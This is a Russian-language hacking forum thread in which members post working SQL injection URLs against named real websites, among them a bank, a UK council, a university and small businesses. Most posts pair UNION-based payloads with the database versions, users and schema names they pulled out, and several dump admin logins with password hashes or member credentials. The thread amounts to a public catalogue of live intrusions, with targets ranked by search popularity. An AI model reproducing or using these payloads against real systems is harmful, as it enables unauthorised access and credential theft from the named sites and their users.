SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. *uNkN0Wn*

    *uNkN0Wn* Member

    Joined:
    25 Mar 2009
    Messages:
    175
    Likes Received:
    92
    Reputations:
    11
    PHP:
    http://www.copycentral.com/location.php?lid=-9+union+select+1,2,3,concat(database(),char(59),version(),char(59),user()),5,6,7,8,9,10,11,12,13,14+--+
    VERSION : 5.0.91-log
    DATABASE : copycent_data
    USER : [email protected]

    PR - 4
     
    1 person likes this.
  2. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    http://www.itkor.ru/cnews/index.phtml?dt=-731%20union%20select%201,concat_ws(char(58),@@version,user(),database(),@@version_compile_os),3%20--

    4.1.22-standard itkorru_adm@localhost itkorru_market unknown-linux-gnu
     
    2 people like this.
  3. COOLBOY007

    COOLBOY007 Elder - Старейшина

    Joined:
    9 Jun 2009
    Messages:
    76
    Likes Received:
    43
    Reputations:
    22
    Code:
    http://www.agendafin.com/article.php?ID=94.9 union all select 1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8+--+
    User: [email protected]
    Version: 5.0.51a-24+lenny5
    Database: db27629

    PR 4

    Code:
    http://www.hitnews.eu/index.php?id=43.9 union all select 1,2,concat_ws(0x3a,user(),version(),database())+--+
    User: hitmans@localhost
    Version: 4.1.22
    Database: hitnews2

    PR 4
    тИЦ 10


    Code:
    http://www.museumofconflict.eu/singletext.php?id=9.9' union all select 1,concat_ws(0x3a,user(),version(),database()),3,4,5,6 and 'x'='x
    User: nuke290@localhost
    Version: 4.1.22
    Database: MC

    PR 4
     
    1 person likes this.
  4. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    [email protected]:4.0.27-max-log:list43_lada

    [email protected]:5.0.77-log:db_soultek7_4

    momoit_db@localhost:5.0.51a-24+lenny5:momoit_momoitdb

    web227-gtm@localhost:5.1.56-community-log:web227-gtm

    [email protected]:5.5.9:d3003_komiks

    [email protected]:5.0.91:magnitd_magnit

    [email protected]:5.0.92-community:glassfis__ISL_CyberSecurity

    [email protected]:4.0.27-log:novocor

    skidki@localhost:5.1.41-3ubuntu12.10:skidki
     
    _________________________
    2 people like this.
  5. o'clock

    o'clock Elder - Старейшина

    Joined:
    16 May 2009
    Messages:
    125
    Likes Received:
    22
    Reputations:
    11
    Code:
    http://www.roshinskiy.ru/page.php?id=24%27+or+1+group+by+concat%28user%28%29,version%28%29,database%28%29,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    User:malishasti_rosh@localhost
    Database:malishasti_rosh
    Version:5.0.26-log

    PR:1
    тИЦ:20
     
    3 people like this.
  6. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    http://www.ait.com/searchdetails.php?cid=-920%27+union+select+1,version%28%29,3,4,5,6,7,8,9,10--+
     
  7. bafoed

    bafoed Member

    Joined:
    14 Jul 2009
    Messages:
    88
    Likes Received:
    12
    Reputations:
    10
    cagepris_user@localhost:5.0.84:cagepris_cms

    Яндекс тИЦ: 10
    Google PageRank: 5/10
     
    2 people like this.
  8. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    464
    Likes Received:
    62
    Reputations:
    26
    Code:
    http://fond.jazzandclassic.ru/need_help.php?id=-34+union+select+1,2,3,4,5,6,7,8,version(),10,11,12,13+--+
    БЛАГОТВОРИТЕЛЬНЫЙ ФОНД ПОДДЕРЖКИ КУЛЬТУРЫ И МИЛОСЕРДИЯ «ДЖАЗ И КЛАССИКА»
    5.0.90-log
    тИЦ 20
    PR 4
     
    1 person likes this.
  9. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    464
    Likes Received:
    62
    Reputations:
    26
    Code:
    http://www.tinos-tinos.com/destination.php?destinationid=-246+union+select+1,2,3,concat_ws(0x3a,id,user,pass,email),5+from+faqAdmin+--+
    5.1.41-3ubuntu12.10-log
    PR 3

    --
    Code:
    http://www.genomics.cn/en/platform.php?id=-67+union(select+concat_ws(0x3a,username,password),2,3,4,5+from+cms_users+limit+1,1)+--+
    5.0.77-log
    тИЦ 20
    PR 6

    Code:
    http://www.worstpreviews.com/moviereviews.php?id=-266+union+select+version(),2+--+
    5.1.56-log
    тИЦ 120
    PR 5

    Code:
    http://www.kayafm.co.za/features.php?id=-47+union+select+1,version(),3,4,5,6,7,8,9+--+
    5.0.92-community
    PR 5
     
    4 people like this.
  10. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    littlebo_littboy@localhost:5.1.56-log:littlebo_cat

    PostgreSQL 8.1.9 on x86_64-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.1 20070105 (Red Hat 4.1.1-52):custdb:salaam

    csklad@localhost:5.1.46:csklad
     
    _________________________
    4 people like this.
  11. SEWERN

    SEWERN Elder - Старейшина

    Joined:
    9 Jan 2009
    Messages:
    23
    Likes Received:
    35
    Reputations:
    26
    http://blog.evpetrov.com/wp-content/plugins/proplayer/playlist-controller.php?pp_playlist_id=-1133')%20UNION%20ALL%20SELECT%201,2,user()--%20
     
    2 people like this.
  12. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,518
    Likes Received:
    401
    Reputations:
    196
    http://amp.genomics.org.cn/markerDetail.php?ID=3-AP002039-2773'+and+1=2+union/**/select+1,2,3,4,5,6,7,8,user(),0,version(),12,13,14,15,16,17,18,'19

    http://www.metalac.com/pgs/sr/press/?year=2011&month=05&newsid=-148+union+select+1,2,3,4,5,(select(@x)from(select(@x:=0x00),(select(null)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),7,8,9--
     
    5 people like this.
  13. mix0x0

    mix0x0 Active Member

    Joined:
    1 Nov 2010
    Messages:
    363
    Likes Received:
    189
    Reputations:
    92
    Chambers Bank

    Code:
    http://www.chambers-bank.com/service_details.php?id=[COLOR=Red]-[/COLOR]11[COLOR=Red]+union+Select+1,2,group_concat(column_name),4,5,6+from+information_schema.columns+where+table_name=0x6c6f636174696f6e73[/COLOR]
    version: 5.0.77-LOG
    database: CHECKIN_DB
    user: [email protected]


    Code:
    http://pregled-rs.com/products2.php?id=[COLOR=Red]-[/COLOR]1[COLOR=Red]+union+Select+1,concat_ws(0x3a,version(),database(),user())[/COLOR]+--+
    version: 5.0.45
    database: ys2
    user: ys2@localhost


    Code:
    http://www.mobilesfever.com/softwares/softwares_category.php?id=[COLOR=Red]-[/COLOR]1[COLOR=Red]+union+Select+1,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,3,4,5,6,7,8,9,10,11,12+--+[/COLOR]
    version: 5.0.92-community-log
    database: mobilesf_soft
    user: mobilesf_soft@localhost


    Code:
    http://www.alians-auto.ru/index.php?mode=content&id=[COLOR=Red]-[/COLOR]1[COLOR=Red]+union+Select+1,2,group_concat(table_name+separator+0x3a3a),4,5,6+from+information_schema.tables+where+table_schema=0x616c69616e735f6e657773[/COLOR]+--+
    version: 5.0.51a-log
    database: alians_news
    user: [email protected]


    Code:
    http://hist.web.tstu.ru/prepod.php?id=[COLOR=Red]-[/COLOR]1[COLOR=Red]+union+Select+1,concat_ws(0x3a,version(),database(),user()),3,4+--+[/COLOR]
    version: 5.1.50-MariaDB
    database: hist
    user: hist@localhost


    Code:
    http://www.isleofdogs.ru/catalog.php?id=[COLOR=Red]-[/COLOR]2[COLOR=Red]+union+Select+concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29+--+[/COLOR]
    version: 5.0.70-log
    databse: gb_isleofdogs
    user: [email protected]
     
    4 people like this.
  14. NetAng

    NetAng Member

    Joined:
    29 Dec 2010
    Messages:
    75
    Likes Received:
    12
    Reputations:
    5
    Code:
    http://www.playonline.com.ua/game.php?id=-978%29%20union%20select%201,2,concat_ws%280x3b,user%28%29,version%28%29,database%28%29,@@version_comment,SESSION_USER%28%29,CURRENT_USER%28%29,SYSTEM_USER%28%29,@@version_compile_machine,@@version_compile_os,@@basedir,@@datadir,@@tmpdir%29,4,5,6,7,8,9--+
    user: dvdpoisk_pl@localhost
    database: dvdpoisk_pl
    version: 5.0.51a-community

    Code:
    http://www.supraten.md/ru/contacte.php?menu_id=6&id_contact=-5+union+select+1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.columns+where+table_name=0x75736572--
    user: supraten@localhost
    database: sablon01
    version: 5.0.51b-community-nt-log

    Code:
    http://www.aviaportal.ru/news.php?newsid=1826+union+select+1,concat_ws(0x0b,username,passwd),3,4,5+from+user+limit+1,1/*
    user: [email protected]
    database: db13977m
    version: 4.0.27-log
     
    3 people like this.
  15. HeReTiC

    HeReTiC Member

    Joined:
    21 Sep 2007
    Messages:
    18
    Likes Received:
    42
    Reputations:
    8
    Code:
    http://www.crc.uri.edu/about.php?about_id=-3+union+select+1,2,3,concat%28user%28%29,0x3a,database%28%29,0x3a,version%28%29%29,5,6--
    PR: 6
    version: 4.1.22
    user: [email protected]
    database: crcweb


    Code:
    http://www.biomatworld.com/about_us.php?about_ID=-1+union+select+1,concat%28user%28%29,0x3a,database%28%29,0x3a,version%28%29%29,3,4,5--
    PR: 1
    version: 5.1.58
    user: biomatwo_cwadmin@localhost
    database: biomatwo_cart


    Code:
    http://www.abrasivesthailand.com/aboutus.php?about_id=-2+union+select+1,2,3,concat(mem_email,0x3a,mem_pass),5,6,7,8,9,10+from+member+limit+0,1--
    PR: 3
    version: 5.0.90
    user: abrasives@localhost
    database: abrasivesthailand


    Code:
    http://www.armagh.gov.uk/service_details.php?service_id=-5+union+select+1,2,concat%28user%28%29,0x3a,database%28%29,0x3a,version%28%29%29,4,5,6,7,8,9,10,11,12--
    PR: 6
    version: 4.0.18
    user: armaghcorp@localhost
    database: armaghcorp


    Code:
    http://www.image1inc.ca/category_detail.php?service_id=1&service_name=Window%20Tinting&cat_id=-1+union+select+1,2,3,4,concat%28user%28%29,0x3a,database%28%29,0x3a,version%28%29%29,6--&cat_name=Automotive
    PR: 2
    version: 5.0.92
    user: [email protected]
    database: image1
     
    4 people like this.
  16. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    464
    Likes Received:
    62
    Reputations:
    26
    Code:
    http://www.setisnasti.ru/services/note.php?id=-1'+union+select+1,concat_ws(0x3a,parol_login,parol_psw),3+from+parol_table+--+
    тИЦ 10
    Code:
    http://www.lammertpostma.com/notebook/note.php?id=-25'+union+select+1,2,concat_ws(0x3a,ID,user_name,user_pass),4+from+accounts+--+
    5.1.49-1~bpo50+1
    PR 2

    Code:
    http://www.beskid.com/base/note.php?id=-1465'+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15+--+
    5.0.84-log
    PR 5

    Code:
    http://www.eredux.com/states/transportation.php?id=-1128+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52+--+
    5.0.92-community
    PR 4

    Code:
    http://www.arvtripeaks.com/transportation.php?id=-28+union+select+1,concat_Ws(0x3a,username,password),3,4,5,6,7+from+user+--+
    5.0.33
    PR 4

    Code:
    http://greetingcardhaven.com/api.php?id=-35+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38+from+members+limit+6,1+--+
    4.1.22-standard
    PR 2
     
    2 people like this.
  17. Jerri

    Jerri Elder - Старейшина

    Joined:
    12 Jul 2009
    Messages:
    136
    Likes Received:
    377
    Reputations:
    22
    onlinepe@localhost:4.1.25-log:wwwonlinepetitio
     
    2 people like this.
  18. Jerri

    Jerri Elder - Старейшина

    Joined:
    12 Jul 2009
    Messages:
    136
    Likes Received:
    377
    Reputations:
    22
    musiccar@localhost:5.0.24a:wwwmusiccarru
     
    1 person likes this.
  19. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Разрабы веб обвязки под эмулятор wow. Вроде двиг сам норм,но вот на сайте бяда.

    http://www.web-wow.net/top100.php?ax=out&id=522999999999999999999+union+select+1,concat_ws(0x3a,version(),user(),database()),3--
    webwowne_axe@localhost
    5.0.91-community-cll
    webwowne_main


    http://www.web-wow.net/top100.php?ax=out&id=-522000000000000000000+union+select+1,concat_ws%280x3a,login,password%29,3+from+accounts--

    admin2 f48871733b9daca36611bd69a7ac8e3220713a60
    admin 8301316d0d8448a34fa6d0c6bf1cbfa2b4a1a93a
     
    2 people like this.
  20. Jerri

    Jerri Elder - Старейшина

    Joined:
    12 Jul 2009
    Messages:
    136
    Likes Received:
    377
    Reputations:
    22
    [email protected]:5.1.58-log:CTC_DB
     
    1 person likes this.
Thread Status:
Not open for further replies.